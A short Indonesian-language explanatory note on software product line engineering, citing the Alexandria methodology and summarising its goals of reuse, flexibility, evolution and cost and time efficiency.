Salah satu contoh dari metodologi dari software product line adalah Alexandria (http://www.theoinf.tu-ilmenau.de/~riebisch/pld/index.html). Alexandria melakukan pendekatan untuk pengembangan perangkat lunak secara efisien dari segi waktu dan biaya dengan menggunakan SPL. Tujuan dari metodologi ini adalah untuk dapat Reusability (membuat perangkat lunak berdasarkan platform asset umum), Flexibility (Pengaturan Configurasi dari Perangkat lunak dengan pemisahan fungsional (feature-Driven Development)), Evolution (melakukan pembuatan perangkat lunak untuk maintainability yang cukup lama menggunakan Model-Driven Development) dan Efficiency (membuat produk dengan resource sedikit mungkin, sedikit pekerja, sedikit biaya dan sedikit waktu)

Kesimpulannya SPL digunakan untuk pabrikasi pembuatan perangkat lunak dengan tujuan untuk :

Mengurangi cost
Mempercepat pengerjaan suatu proyek
Memudahkan dalam pengerjaan proyek yang besar